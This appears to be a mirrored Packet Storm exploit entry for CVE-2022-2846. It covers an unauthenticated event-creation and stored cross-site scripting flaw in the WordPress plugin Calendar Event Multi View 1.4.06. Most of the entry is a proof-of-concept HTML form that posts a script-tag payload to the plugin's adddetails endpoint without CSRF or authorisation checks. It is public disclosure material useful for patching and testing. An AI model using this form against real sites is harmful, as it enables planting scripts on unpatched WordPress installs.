Calendar Event Multi View 1.4.07 Cross Site Scripting

2023-04-0500:00:00

Mostafa Farzaneh

packetstormsecurity.com

111

wordpress

plugin

unauthenticated

cross-site scripting

vulnerability

cve-2022-2846

csrf

sanitisation

exploit

event creation

0.002 Low

EPSS

Percentile

61.5%

JSON

`# Exploit Title: Calendar Event Multi View 1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS)  
# Date: 2022-05-25  
# Exploit Author: Mostafa Farzaneh  
# WPScan page:  
https://wpscan.com/vulnerability/95f92062-08ce-478a-a2bc-6d026adf657c  
# Vendor Homepage: https://wordpress.org/plugins/cp-multi-view-calendar/  
# Software Link:  
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.4.06.zip  
# Version: 1.4.06  
# Tested on: Linux  
# CVE : CVE-2022-2846  
# Description:  
The Calendar Event Multi View WordPress plugin before 1.4.07 does not have  
any authorisation and CSRF checks in place when creating an event, and is  
also lacking sanitisation as well as escaping in some of the event fields.  
This could allow unauthenticated attackers to create arbitrary events and  
put Cross-Site Scripting payloads in it.  
  
#POC and exploit code:  
As an unauthenticated user, to add a malicious event (on October 6th, 2022)  
to the calendar with ID 1, open the code below  
  
<html>  
<body>  
<form action="  
https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails"  
method="POST">  
<input type="hidden" name="Subject"  
value='"><script>alert(/XSS/)</script>' />  
<input type="hidden" name="colorvalue" value="#f00" />  
<input type="hidden" name="rrule" value="" />  
<input type="hidden" name="rruleType" value="" />  
<input type="hidden" name="stpartdate" value="10/6/2022" />  
<input type="hidden" name="stparttime" value="00:00" />  
<input type="hidden" name="etpartdate" value="10/6/2022" />  
<input type="hidden" name="etparttime" value="00:00" />  
<input type="hidden" name="stpartdatelast" value="10/6/2022" />  
<input type="hidden" name="etpartdatelast" value="10/6/2022" />  
<input type="hidden" name="stparttimelast" value="" />  
<input type="hidden" name="etparttimelast" value="" />  
<input type="hidden" name="IsAllDayEvent" value="1" />  
<input type="hidden" name="Location" value="CSRF" />  
<input type="hidden" name="Description" value='<p style="text-align:  
left;">CSRF</p>' />  
<input type="hidden" name="timezone" value="4.5" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
The XSS will be triggered when viewing the related event  
  
`

0.002 Low

EPSS

Percentile

61.5%

JSON

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